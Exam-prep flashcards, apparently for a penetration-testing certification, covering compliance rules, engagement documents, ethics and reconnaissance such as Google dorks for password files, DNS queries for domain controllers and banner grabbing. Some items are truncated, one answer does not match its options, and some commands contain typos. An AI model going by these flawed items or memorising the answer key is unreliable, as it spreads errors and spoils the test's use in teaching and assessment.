Which of the following types of information is protected by rules in the United States that specify the minimum frequency of vulnerability scanning required for devices that process it? A) Insurance records B) medical records C) credit card data D) SSNs E) drivers license numbers	Correct Answer: credit card data Explanation: The Payment Card Industry Data Security Standard (PCI DSS) is an information security standard for organizations that handle branded credit cards from the major card schemes. The PCI Standard is mandated by the card brands but administered by the Payment Card Industry Security Standards Council. As part of PCI DSS compliance, organizations must conduct internal and external scans at prescribed intervals on any devices or systems that process credit card data. HIPAA protects medical and insurance records, but this law doesn't define a frequency for vulnerability scanning requirements. Driver's license numbers are considered PII, but again, there is no defined frequency scanning requirement regarding protecting PII under law, regulation, or rule.
Dave's Consulting Group was just hired to conduct an engagement against an online training organization located in Germany. Which of the following laws should a penetration tester review before conducting this engagement to ensure the security and confidentiality of the student information processed by the company? A) DPPA B) CCPA C) GLBA D) GDPR E) HIPAA	Correct Answer: GDPR Explanation: The General Data Protection Regulation (GDPR) is a regulation created in the European Union that creates provisions and requirements to protect the personal data of European Union (EU) citizens. Transfers of personal data outside the EU Single Market are restricted unless protected by like-for-like regulations, such as the US's Privacy Shield requirements. The Health Insurance Portability and Accountability Act (HIPAA) is a privacy rule that establishes national standards to protect the privacy of individuals' medical records. The Driver's Privacy Protection Act (DPPA) governs the privacy and disclosure of personal information gathered by state Departments of Motor Vehicles. The Gramm-Leach-Bliley Act (GLBA) requires financial institutions to ensure the security and confidentiality of client information and take steps to keep customer information secure.
Your organization is preparing for its required quarterly PCI DSS external vulnerability scan. Who is authorized to perform this scan? A) anyone B) only an approved scanning vendor C) any qualified individual D) only employees of the company	Correct Answer: only an approved scanning vendor Explanation: The Payment Card Industry Data Security Standard (PCI-DSS) is a prescriptive framework. It is not a law but a formal policy created by the credit card industry that organizations must follow to accept credit and bank cards for payment. Quarterly required external vulnerability scans must be run by a PCI-DSS approved scanning vendor (ASV). This question may seem beyond the scope of the exam. Still, the objectives allow for "other examples of technologies, processes, or tasks about each objective may also be included on the exam although not listed or covered" in the objectives' bulletized lists. The content examples listed in the objectives are meant to clarify the test objectives and should not be construed as a comprehensive listing of this examination's content. Therefore, questions like this are fair game on test day. That said, your goal isn't to score 100% on the exam; it is to pass it. Don't let questions like this throw you off on test day. If you aren't sure, take your best guess and move on!

Which of the following penetration testing methodologies or frameworks was developed by business professionals as a best practice guide for conducting penetration tests? A) OSSTMM B) PTES C) ISSAF D) OTG	Correct Answer: PTES Explanation: The Penetration Testing Execution Standard (PTES) was developed by business professionals as a best practice guide for conducting penetration testing. The PTES contains seven main sections that are used to provide a comprehensive overview of the proper structure of a complete penetration test. The Open Web Application Security Project (OWASP) is an organization aimed at increasing awareness of web security and provides a framework for testing during each phase of the software development process. The OWASP Testing Guide (OTG) provides different steps for the testing process and outlines the importance of assessing the entire organization, including the people, processes, and technology, during a penetration test. The Open Source Security Testing Methodology Manual (OSSTMM) was developed by the Institute for Security and Open Methodologies (ISECOM) and it outlines every area of an organization that needs testing and how to conduct the relevant tests. The Information Systems Security Assessment Framework (ISSAF) is an open-source resource available to cybersecurity professionals. The ISSAF is comprised of documents that relate to penetration testing, such as guidelines on business continuity and disaster recovery along with legal and regulatory compliance.
Matt is creating a scoping worksheet for an upcoming penetration test for his organization. Which of the following techniques is NOT usually included in a penetration test? A) physical penetration tests B) social engineering C) reverse engineering D) passive reconnaissance E) DoS attacks	Correct Answer: DoS attacks Explanation: A denial-of-service or DoS attack isn't usually included as part of a penetration test. This type of attack contains too much risk for an organization to allow it to be included in an assessment's scope. Social engineering, physical penetration attempts, and reverse engineering are all commonly included in a penetration test's scope. A penetration tester must limit the invasiveness of their assessment to the specific scope of the penetration test.
A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system? A) Monthly B) Annually C) Weekly D) Quarterly	Correct Answer: Quarterly
Which of the following penetration testing methodologies is focused on testing web applications and the people, processes, and technology that support them? A) OTG B) PTES C) ISSAF D) OSSTMM	Correct Answer: OTG Explanation: The Open Web Application Security Project (OWASP) is an organization aimed at increasing awareness of web security and provides a framework for testing during each phase of the software development process. The OWASP Testing Guide (OTG) provides different steps for the testing process and outlines the importance of assessing the entire organization, including the people, processes, and technology, during a penetration test. The Penetration Testing Execution Standard (PTES) was developed by business professionals as a best practice guide for conducting penetration testing. The PTES contains seven main sections that are used to provide a comprehensive overview of the proper structure of a complete penetration test. The Open Source Security Testing Methodology Manual (OSSTMM) was developed by the Institute for Security and Open Methodologies (ISECOM) and it outlines every area of an organization that needs testing and how

	to conduct the relevant tests. The Information Systems Security Assessment Framework (ISSAF) is an open-source resource available to cybersecurity professionals. The ISSAF is comprised of documents that relate to penetration testing, such as guidelines on business continuity and disaster recovery along with legal and regulatory compliance.
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities? A) Obtain an asset inventory from the client. B) Interview all stakeholders. C) Identify all third parties involved. D) Clarify the statement of work.	Correct Answer: Clarify the statement of work.
Which of the following penetration testing methodologies or frameworks is an open-source collection of documents that outlines every area of an organization that needs to undergo testing, as well as provides details on how those tests should be conducted? A) PTES B) OWASP testing guide C) NIST D) OSSTMM E) ISSAF	Correct Answer: OSSTMM Explanation: The Open Source Security Testing Methodology Manual (OSSTMM) was developed by the Institute for Security and Open Methodologies (ISECOM) and it outlines every area of an organization that needs testing and how to conduct the relevant tests. The Penetration Testing Execution Standard (PTES) was developed by business professionals as a best practice guide for conducting penetration testing. The PTES contains seven main sections that are used to provide a comprehensive overview of the proper structure of a complete penetration test. The Open Web Application Security Project (OWASP) is an organization aimed at increasing awareness of web security and provides a framework for testing during each phase of the software development process. The OWASP Testing Guide (OTG) provides different steps for the testing process and outlines the importance of assessing the entire organization, including the people, processes, and technology, during a penetration test. The Information Systems Security Assessment Framework (ISSAF) is an open-source resource available to cybersecurity professionals. The ISSAF is comprised of documents that relate to penetration testing, such as guidelines on business continuity and disaster recovery along with legal and regulatory compliance.
You are preparing for an upcoming penetration test. You want to begin your reconnaissance but need to validate the scope of the IP addresses and the times of day you can scan the network. Which of the following documents should you refer to find these details? A) RFP B) NDA C) ROE D) MSA	Correct Answer: ROE Explanation: The rules of engagement (ROE) contain the timeline, location, temporal restrictions, transparency of testing, and test boundaries for the penetration test. Therefore, if you look at the temporal restrictions portion of the ROE, you will see what times of day you can perform your scans and exploits. If you reference the test boundaries section, it should contain what types of scanning and exploits are allowed to be used and which systems are and are not in the scope of the assessment. Generally, the MSA provides for the core legal provisions governing a services engagement and a statement of work (or SOW), representing a child agreement to the MSA, will scope and define the project specifications, deliverables, assumptions, fees or other specific aspects of the project.
You have been contracted to conduct a compliance-based assessment for an organization. What is the MOST important thing for you to understand? A) the organization's policies	Correct Answer: the organization's industry Explanation: The organization's industry is the most important thing to consider and understand when conducting a compliance-based assessment. Compliance-based assessments are government or

B) the organization's industry C) the organization's risk tolerance D) the organization's architecture drawings	industry-required assessments based on a particular compliance framework. For example, if you are conducting an assessment of a credit card processor, then PCI-DSS would be important to consider. If you are assessing a federal government IT system, then you should consider FEDRAMP. If you are conducting an assessment of a military or military contractor network, you should consider the DISA STIG for those systems.
You have been contracted to conduct a wireless penetration test for a corporate client. Which of the following should be documented and agreed upon in the scoping documents before you begin your assessment? A) the frequencies of the WAPs and devices used by the client B) make and model of the wireless access points used by the clients C) the number of WAPs and devices used by the client D) network diagrams with SSIDs of the WAPs used by the client	Correct Answer: the frequencies of the WAPs and devices used by the client Explanation: To ensure you are not accidentally targeting another organization's wireless infrastructure during your penetration test, you should have the frequencies of the wireless access points and devices used by the client documented in the scoping documents. This would include whether your clients use Wireless A, B, G, N, AC, or AX and if they are using the 2.4 GHz or 5.0 GHz spectrum for their communications. Often, this scoping document will also include the SSID names to ensure the penetration tester is assessing the wireless network owned by the organization and not someone else's by mistake.
A penetration tester is reviewing the following SOW prior to engaging with a client: `Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.` Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.) A) Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop B) Seeking help with the engagement in underground hacker forums by sharing the client's public IP address C) Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement D) Retaining the SOW within the penetration	Correct Answers Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester? A) MSA B) MOU C) NDA D) SOW	Correct Answer: SOW
During a penetration test, you identify evidence of a possible large-scale data breach. Based on the indicators of compromise you discovered, you believe that the attackers were able to successfully exfiltrate the personal information and social security numbers of the company's customers from their database server. What action should you perform NEXT? A) immediately stop activities on the database server, notify the company's primary contact, and add your findings to the daily status report B) immediately stop all pen testing activity, inform the company's rimary contact, and report any IoC's you have found C) Immediately stop all pen testing activities, patch the database server to protect it against further exploitation, and report your findings to the company D) complete the day's work and inform client at the daily startup meeting	Correct Answer: immediately stop all pen testing activity, inform the company's rimary contact, and report any IoC's you have found Explanation: As a penetration tester, you should immediately stop any penetration testing activities upon identifying a breach or other criminal activity. The penetration tester should contact the company's emergency point of contact provided in the scoping documents and wait for further guidance. The penetration tester should not continue any work as this could make it more difficult for the network defenders to identify the true source of the breach or criminal activity. The penetration testers should never take it upon themselves to patch a server during an engagement.
	Correct Answer: notify affected customers within 72 hours of the discovery of the

Safe Systems has just become the latest victim in a large-scale data breach by an APT. Your initial investigation confirms a massive exfiltration of customer data has occurred. Which of the following actions do you recommend to the CEO of Safe Systems in handling this data breach? A) conduct a hack-back to retrieve the stolen data B) provide a statement to the press that Safe Systems takes security seriously C) purchase cyber insurance and backdate the logs and files to before the date coverage started D) notify affected customers within 72 hours of the discovery of the breach	breach Explanation: Generally speaking, most laws require notification within 72 hours, such as the GDPR. All other options are either unethical, constitute insurance fraud, or are illegal. Conducting a hack-back is considered illegal, and once data has been taken, it is nearly impossible to steal it back as the attacker probably has a backup of it. Providing an incorrect statement to the press is unethical, and if your company is caught lying about the extent of the breach, it could further hurt your reputation. Purchasing a cyber insurance policy and altering the log file dates to make it look like the attack occurred after buying the policy would be insurance fraud. This is unethical and illegal.
Your company explicitly obtains permission from its customers to use their email address as an account identifier in its CRM. Max, who works at the marketing department in the company's German headquarters, just emailed all their customers to let them know about a new sales promotion this weekend. Which of the following privacy violations has occurred, if any? A) there was no violation because the email was sent securely using the CRM B) there was a violation since the customer did not give explicit consent to receive marketing emails C) there was a violation since data minimization policies were not followed properly D) the was no privacy violation because Max is a corporate employee and he only used email addresses	Correct Answer: there was a violation since the customer did not give explicit consent to receive marketing emails Explanation: According to the European Union's General Data Protection Regulation (GDPR), personal data collected can only be used for the exact purpose in which explicit consent was obtained. To use email addresses for marketing purposes, separate explicit consent should have been obtained. Since the company operates in Germany, it must follow the GDPR privacy standard. Even if a company doesn't operate within the European Union, its customers might be European Union citizens, and therefore the company should still optional follow the GDPR guidelines. While data minimization is a good internal policy to utilize, not following it doesn't equate to a privacy violation or breach. Data minimization is the principle that data should only be processed and stored, if necessary, to perform the purpose for which it is collected. The option concerning the customer relationship management (CRM) tool is a distractor since the issue is using the data in ways that were not consented to by the customer, not which system the email was sent through. A privacy violation can occur when corporate employees view data if those employees do not have a need to know, a valid business requirement to use the data, or consent from the customer to use the data for a specific purpose (as was the case in this scenario).
You have been hired to conduct an external PCI-DSS audit of a merchant that processes under 20,000 credit card transactions per year. Which level would this merchant be categorized as? A) 3 B) 2 C) 0 D) 4 E) 1	Correct Answer: 4 Explanation: This is a level 4 merchant. Under the PCI-DSS compliance rules, a merchant who is categorized as a level 2, level 3, or level 4 must have an external auditor conduct an annual audit or submit documentation of a self-test proving they took active steps to secure their credit card processing infrastructure. Level 1 is a large merchant with over 6,000,000 transactions per year. Level 2 is a merchant with 1,000,000 to 5,999,999 transactions per year. Level 3 is a merchant with 20,000 to 1,000,000 transactions per year. Level 4 is a small merchant with under 20,000 transactions per year.
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations? A) OWASP Top 10 B) PTES technical guidelines C) NIST SP 800-53 D) MITRE ATT&CK framework	Correct Answer: MITRE ATT&CK framework

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?
A) SLA
B) NDA
C) ROE
D) MSA

Correct Answer:
NDA

Which of the following types of agreements is used to document the commitment between a provider and client in terms of quality and availability?
A) NDA
B) SLA
C) AUP
D) MOU

Correct Answer:
SLA

Explanation:
A service level agreement (SLA) is a documented commitment between a service provider and a client, where the quality, availability, and responsibilities are agreed upon by both parties. A non-disclosure agreement (NDA) is a documented agreement between two parties that define what data is considered confidential and cannot be shared outside of that relationship. An NDA is used to protect an organization's intellectual property. An acceptable use policy (AUP) is a set of rules applied by the owner, creator, or administrator of a network, website, or service, that restrict how the network, website, or system may be used and sets guidelines as to how it should be used. A memorandum of understanding (MOU) is a non-binding agreement between two or more organizations to detail what common actions they intend to take.

An organization is currently accepting bids for a contract that will involve penetration testing and reporting. The organization is asking all bidders to provide proof of previous penetration testing and reporting experience. One contractor decides to print out a few reports from some previous penetration tests that they performed. What could have occurred as a result of this contractor's actions?
A) the contractor will get hired because of the quality of previous pen test reports
B) the organization will wan to use the sample reports for all bidders on the contract
C) the contractor gets paid a higher fee for showing excellent prior work
D) inadvertent exposure of vulnerabilities found at other companies

Correct Answer:
inadvertent exposure of vulnerabilities found at other companies

Explanation:
Pentesters should never disclose any information from previous penetration tests to anyone outside of the assessed organization since this could expose the vulnerability found. This non-disclosure is usually outlined in the original contract and scope of work. If the contractor wishes to provide a sample report, then the report should be created specifically for the contract and only include information from a sample/test network, not a previous customer's assessment. This could also be in breach of the NDA between the pentester and the organization, as well.

John is a cybersecurity consultant that wants to sell his services to an organization. In preparation for his first meeting with the client, John wants to conduct a vulnerability scan of their network to show the client how much they need his services. What is the most significant issue with John conducting this scan of the organization's network?
A) the IP range of the client systems is unknown by John
B) He doesn't know what OS's and applications are in use
C) the client's infrastructure design is unknown to John
D) he doesn't have permission to perform the scan

Correct Answer:
he doesn't have permission to perform the scan

Explanation:
All options listed are an issue, but the most significant issue is that John does not have the client's permission to perform the scan. A vulnerability scan may be construed as a form of reconnaissance, penetration testing, or even an attack on the organization's systems. A cybersecurity analyst should never conduct a vulnerability scan on another organization's network without explicit written permission. In some countries, a vulnerability scan against an organization's network without their permission is considered a cybercrime and could result in jail time for the consultant.

A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns

would BEST support the software company's request? A) The reverse-engineering team may use closed-source or other non-public information feeds for its analysis. B) The reverse-engineering team may not instill safety protocols sufficient for the automobile industry. C) The reverse-engineering team will be given access to source code for analysis. D) The reverse-engineering team may have a history of selling exploits to t	Correct Answer: The reverse-engineering team may have a history of selling exploits to third parties.
A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment? A) Determine if the failover environment relies on resources not owned by the client. B) Establish communication and escalation procedures with the client. C) Verify the client has granted network access to the hot site. D) Ensure the client has signed the SOW.	Correct Answer: Determine if the failover environment relies on resources not owned by the client.
You are a penetration tester hired by an organization that wants you to conduct a risk assessment of their perimeter network. The company-provided of Engagement states that you must do all penetration testing from an external IP address without any prior knowledge of the internal IT system architecture. What kind of penetration test will you perform? A) unknown environment B) semi-trusted environment C) transparent environment D) known environment E) partially known environment	Correct Answer: unknown environment Explanation: An unknown environment penetration test requires no previous information and usually takes the approach of an uninformed attacker. The penetration tester has no prior information about the target system or network in an unknown environment penetration test. These tests provide a realistic scenario for testing the defenses, but they can be costlier and more time-consuming to conduct as the tester is examining a system from an outsider's perspective. A partially known environment tester has the user's access and knowledge levels, potentially with elevated privileges on a system. These partially known environment penetration testers typically have some knowledge of a network's internals, potentially including design and architecture documentation and an account internal to the network. A known environment test is known by several different names, including clear-box, open-box, auxiliary, or logic-driven testing. It falls on the opposite end of the spectrum from an unknown environment test because the penetration testers have full access to source code, architecture documentation, and so forth. A known environment penetration tester can also perform static code analysis, so familiarity with source code analyzers, debuggers, and similar tools are necessary for this type of testing. A semi-trusted environment test is made up term and is used as a distractor in this question.
This tool uses modules to customize its search functionality. Modules include using whois, PGP key searches, DNS record enumerators, and social media profile associations. A) SET B) Metagoofil C) recon-ng D) FOCA E) theHarvester	Correct Answer: recon-ng Explanation: See geeksforgeeks.org/recon-ng-installation-on-kali-linux/ for a summary of recon-ng
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Bank.com. You want to identify any domain names also covered by the organization's digital certificate to include in your assessment. Which of the	Correct Answer: SAN Explanation: Subject alternative name (SAN) is a field in a digital certificate that allows a host to be identified by multiple host names or

following should you review to determine any other domains that can use the same digital certificate? A) SAN B) CRL C) robots.txt D) CSR	domain names. Certificates that use a SAN are referred to as a multi-domain certificate. A certificate signing request (CSR) is a Base64 ASCII file generated on the device that needs a certificate and contains information that the certificate authority needs to create the certificate. The certificate revocation list (CRL) is a list of digital certificates that have been revoked before their expiration date and are now considered invalid. A robots.txt file tells search engine crawlers which URLs the crawler should index and access on your site.
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Bank.com. You want to identify any web pages that contain the term "password" hosted by bank.com. Which of the following Google hacking queries should you use? A) password inurl:bank.com B) password inanchor:bank.com C) password link:bank.com D) password site:bank.com	Correct Answer: password site:bank.com Explanation: The site modifier is used to search only the specified website for results that contain the search term. For example, password site:bank.com would return only results for the word password on pages located on the webite. The inurl modifier is used to search for any pages whose URLs include the term specified and have the search term anywhere on the page. For example, password inurl:bank.com would return only page results whose URLs include the text "bank.com" and have the text "password" somewhere on the page. The link modifier is used to search for any pages that link to the website provided and have the search term anywhere on the page. For example, password link:bank.com would return only page results that link to Bank.com website and have the text "password" anywhere on the page. The inanchor modifier is used to search for any pages whose anchor text includes the specified term and has the search term provider somewhere on the page. For example, password inanchor:bank.com would return only page results that contain bank.com in the anchor text and have the search term "password" anywhere on the page.
A cybersecurity analyst is attempting to perform an active reconnaissance technique to audit their company's security controls. Which DNS assessment technique would be classified as active? A) a whois query B) a zone transfer C) using Maltego D) DNS forward or reverse lookup	Correct Answer: a zone transfer Explanation: DNS zone transfer, also sometimes known by the inducing DNS query type AXFR, is a DNS transaction type. It is one of the many mechanisms available for administrators to replicate DNS databases across a set of DNS servers. DNS zone transfers are an active technique. Performing a whois query is a passive reconnaissance technique that performs a query of the databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block, or an autonomous system, but is also used for a wider range of other information. Performing DNS forward and reverse lookups is an active technique that allows the resolution of names to IP addresses and IP addresses to names. This can be conducted as a passive technique. Maltego is used for open-source intelligence and forensics. It focuses on providing a library for data discovery from open sources and visualizing that information in a graph format suitable for link analysis and data mining. It collects this information passively since it can acquire the information from whois lookup servers, a DNS lookup tool using public DNS servers, or even emails and hostnames one can acquire from theHarvester.
Given the following file output: User-agent:* Disallow: /author/ Disallow: /xmlrpc.php - Disallow: /wp-admin - Disallow: /page/	Correct Answer: Website scraping Explanation: The file output you see here is from a robots.txt file. A robots.txt file is a set of instructions for bots. This file is included in the source files of most websites. Robots.txt files are mostly intended for managing the activities of good bots like web crawlers, since

During which of the following activities was this output MOST likely obtained? A) Domain enumeration B) Website scraping C) URL enumeration D) Website cloning	bad bots aren't likely to follow the instructions. Website cloning refers to the copying or modification of an existing website design or script to create a new website. Domain enumeration can be described as the process of using one domain name and finding all its subdomains and hosts (sometimes also referred to as "subdomain enumeration")
Of the following ports identified as OPEN on an external nmap scan of your organization, which one represents the most significant security risk to your organization? A) 53 B) 123 C) 23 D) 22 E) 443	Correct Answer: 23 Explanation: Port 23 is used by telnet and is not considered secure because it sends all of its data in cleartext, including authentication data like usernames and passwords. As an analyst, you should recommend that telnet be disabled and blocked from use. The other open ports are SSH (port 22), DNS (port 53), NTP (port 123), and HTTPS (port 443).
An attacker uses the nslookup interactive mode to locate information on a Domain Name Service (DNS) server. What command should they type to display the DNS records associated with the email servers? A) request type=mx B) request type=smtp C) set type=mx D) set type=email	Correct Answer: set type=mx Explanation: The "set type=mx" tells nslookup only to query the mx (or mail exchange) records from a DNS server and display them to the screen. There is no "request type=" command within nslookup, so both of those options are incorrect. There is also no email type within DNS, already making that a wrong answer. in the CLI: nslookup, enter, set type=mx, enter, utulsa.edu
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Bank.com. You are reviewing the DNS records for the company and are trying to identify which third-party hosted services they may be using. Which of the following DNS records should you analyze to identify any human-readable records, domain verifications, and domain authentications A) HS B) SRV C) MX D) TXT	Correct Answer: TXT Explanation: Text (TXT) records are used to provide information about a resource such as a server, network, or service human-readable form. They often contain domain verification and domain authentications for third-party tools that can send information on behalf of a domain name. Mail Exchange (MX) records are used to provide the mail server that accepts email messages for a particular domain. Nameserver (NS) records are used to list the authoritative DNS server for a particular domain. Service (SRV) records are used to provide host and port information on services such as voice over IP (VoIP) and instant messaging (IM) applications. whatsmydns.net/dns-lookup/txt-records and check out the TXT record for harvey.utulsa.edu
A penetration tester is emulating an insider threat during an engagement. The penetration tester was given access to a regular user account and a basic Windows 10 client on the network. The penetration tester did not receive any network diagrams, maps, or target IP address. Their goal is to identify any possible Windows domain controllers on the intranet.bank.com domain. Which of the following commands should they use from the command prompt to achieve their goal? Select all that apply. A) nslookup -type=any_ntlm._tcp.intranet.bank.com B) nslookup -type=any_ldap._tcp.intranet.bank.com C) nslookup -type=any_lanman._tcp.intranet.bank.com D) nslookup -type=any_kerberos._tcp.intranet.bank.com E) nslookup -type=any_smtp._tcp.intranet.bank.com	Correct Answers nslookup -type=any_ldap._tcp.intranet.bank.com nslookup -type=any_kerberos._tcp.intranet.bank.com Explanation: There are several methods for locating Domain Controllers, depending on what you know about the environment you are using. If you are using a Windows client, you can use the nslookup command. You need to specify which protocol you are searching for in the name. Since we are trying to identify domain controllers, we need to look for Kerberos and LDAP-based protocols on the intranet.diontraining.com domain. If you were using a Linux client, you could run a similar command syntax using dig.

You have been asked to determine if Bank.com's web server is vulnerable to a recently discovered attack on an older version of SSH. Which technique should you use to determine the current version of SSH running on their web server? A) banner grab B) passive scan C) protocol analysis D) vulnerability scan	Correct Answer: banner grab Explanation: Banner grabbing is conducted by actively connecting to the server using telnet or netcat and collecting the web server's response. This banner usually contains the server's operating system and the version number of the service (SSH) being run. This is the fastest and easiest way to determine the SSH version being run on this web server. While it is possible to use a vulnerability scanner, protocol analyzer, or to conduct a passive scan to determine the SSH version, these are more time-consuming and not fully accurate methods to determine the version being run.
After issuing the command "telnet comptia.com 80" and connecting to the server, what command conducts the banner grab? A) HEAD /HTTP/1.1 B) PUT /HTTP/1.1 C) HEAD /HTTP/2.0 D) PUT /HTTP/2.0	Correct Answer: HEAD /HTTP/1.1 Explanation: To conduct a banner grab using telnet, you first must connect to the server using "telnet webserver 80". Once the connection establishes, you will receive a blank prompt, and you then issue the command "HEAD / HTTP/1.1". It requests the document header from the server and provides information such as the server software version and the server's operating system. From a technical point of view, one of the most significant features that distinguishes HTTP/1.1 and HTTP/2 is the binary framing layer, which can be thought of as a part of the application layer in the internet protocol stack. As opposed to HTTP/1.1, which keeps all requests and responses in plain text format, HTTP/2 uses the binary framing layer to encapsulate all messages in binary format, while still maintaining HTTP semantics, such as verbs, methods, and headers. The HTTP PUT request method creates a new resource or replaces a representation of the target resource with the request payload.
Which type of method is used to collect information during the passive reconnaissance? A) APR requests and responses B) reviewing public repositories C) social engineering D) network traffic sniffing	Correct Answer: reviewing public repositories Explanation: Passive reconnaissance focuses on collecting information that is widely and openly available from publicly available sources. While network traffic sniffing is considered passive, gaining access to the network to place a sniffer in a good network tap location would not be considered passive. Of the choices provided, publicly accessible sources are the best answer to choose. Collecting API requests and responses would involve a penetration tester sending data to a given server and analyzing the responses received, which is considered an active reconnaissance method. Social engineering is also an active reconnaissance technique that uses deception to trick a user into providing information to an attacker or penetration tester.
What is the following command doing? wget utulsa.edu -q -S A) Website cloning B) Google hacking C) Website scraping D) Banner grabbing E) Vulnerability scanning	Correct Answer: Banner grabbing Explanation: Banner grabbing is a technique used during reconnaissance to gather information about network hosts and the services running on open ports. Common banner grabbing tools include wget, netcat, telnet, and others. Search engine analysis (also known as Google hacking) is a method of using crafted search engine parameters to find hidden details and information about a target website. Vulnerability scanning is a program that is designed to as-

	sess computers, networks, or applications for known weaknesses. Website crawling is a technique that uses a bot to systematically browse a website to find every webpage and resource on the site.
Which of the following techniques listed below are not appropriate to use during a passive reconnaissance exercise against a specific target company? A) Banner grabbing B) whois lookups C) registrar checks D) BGP looking glass usage	Correct Answer: Banner grabbing Explanation: Banner grabbing requires a connection to the host to grab the banner successfully. This is an active reconnaissance activity. All other options are considered passive processes and typically use information retrieved from third parties that do not directly connect to an organization's remote host.
A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.) A) DNS forward and reverse lookups B) Shodan results C) Internet search engines D) Zone transfers E) IP addresses and subdomains	Correct Answers Zone transfers IP addresses and subdomains Explanation: The DNS is broken up into many different zones. These zones differentiate between distinctly managed areas in the DNS namespace. A DNS zone is a portion of the DNS namespace that is managed by a specific organization or administrator. A DNS zone file is a plain text file stored in a DNS server that contains an actual representation of the zone and contains all the records for every domain within the zone. Zone transfer will give you all the DNS info for a company's domains and subdomains as opposed to doing individual DNS lookups. Having IP addresses allows the pentester to narrow their focus while looking for open web services and applications that may or may not have an associated DNS record for web site. DNS forward and reverse lookups require you have IPs and FQDN's to lookup. Likewise, to get the best results from Shodan, you need at least some IP addresses / URLs to start your exploration. Internet searches, even with Google Hacking, are useful but will likely return much more information not related to your specific goal in this question.
A coworker is conducting open-source intelligence gathering for an upcoming penetration test against Bank.com. You look over their shoulder and see them enter the following URL, https://www.google.com/search?q=password+filetype%3Axls+site%3Abank.com&pws=0&filter=p. Which of the following is true about the results of this search? (SELECT TWO) A) returns only files hosted at bank.com B) finds sites related to bank.com C) returns only Excel spreadsheets D) all search filters are deactivated E) excludeds Excel spreadsheets	Correct Answers returns only files hosted at bank.com returns only Excel spreadsheets Explanation: The above example searches for files with the name "password" in them (q=password) and (+) have a filetype equal to xls (filetype%3Axls, %3A is the hex-code for ':') and (+) limits the results to files hosted on bank.com (site%3Abank.com) and (&) disables personalization (pws=0) and (&) deactivates the directory filtering function (filter=p). If you wanted to exclude Microsoft Excel spreadsheets, this would be done by typing -filetype%3Axls as part of the search query. To find related websites or pages, you would include the "related:" term to the query. To deactivate all filters from the search, the "filter=0" should be used. To deactivate the directory filtering function, the "filter=p" is used. Note: encoding such as %3A is important to learn and we will discuss more later in the semester.
You are conducting reconnaissance against utulsa.edu for an upcoming engagement. Last week, you read a press release on their website that mentioned a new security infrastructure being	Correct Answers use a standard cache search like cache:https//utulsa.edu use a website archive like archive.org to find a copy of the press release Explanation:

deployed soon, but you cannot remember the exact date for the deployment. You tried to navigate back to the press release on their website, but it seems to have been taken down. Which of the following can you use to find a copy of the press release? (Select TWO) A) use a website archive like archive.org to find a copy of the press release B) use a standard cache search like cache:https//utulsa.edu C) use a network sniffer to capture API requests and responses from the site D) conduct a website crawl of bank.com to find a hidden document	To obtain older website information, you can use a standard cache search or a website archive. A standard cache search will produce a recent view of the website, but if the document you need has been removed for a long time this will be ineffective. Website archives like archive.org (home of the Wayback Machine) create cached and archived copies of billions of web pages going back decades. A network sniffer to capture API requests and responses is a form of active reconnaissance but it would not be useful in finding a specific webpage like the press release in this scenario. Conducting a website crawl can find hidden documents that are not indexed by search engines, but it will not find a document that has been removed or taken offline. Check out clickminded.com/google-cache-search/
An attacker uses the nslookup interactive mode to locate information on a Domain Name Service (DNS). What command should they type to request the appropriate records for only the name servers? A) set type=ns B) locate type=ns C) request type=ns D) transfer type=ns	Correct Answer: set type=ns Explanation: The nslookup command is used to query the Domain Name System to obtain the mapping between a domain name and an IP address or to view other DNS records. The "set type=ns" tells nslookup only reports information on name servers. If you used "set type=mx" instead, you would receive information only about mail exchange servers. Open a terminal and man nslookup...
A penetration tester hired by a bank began searching for the bank's IP ranges by performing lookups on the bank's DNS servers, reading news articles online about the bank, monitoring what times the bank's employees came into and left work, searching job postings (with a special focus on the bank's information technology jobs), and even searching the corporate office of the bank's dumpster. Based on this description, what portion of the penetration test is being conducted? A) passive information gathering B) threat intelligence C) active information gathering D) information reporting E) vulnerability assessment	Correct Answer: passive information gathering Explanation: Passive information gathering consists of numerous activities where the penetration tester gathers open-source or publicly available information without the organization under investigation being aware that the information has been accessed. Instead, active information gathering starts to probe the organization using DNS Enumeration, Port Scanning, and OS Fingerprinting techniques. Vulnerability assessments are another form of active information gathering. Information reporting occurs after the penetration test is complete, and it involves writing a final report with the results, vulnerabilities, and lessons learned during the assessment.
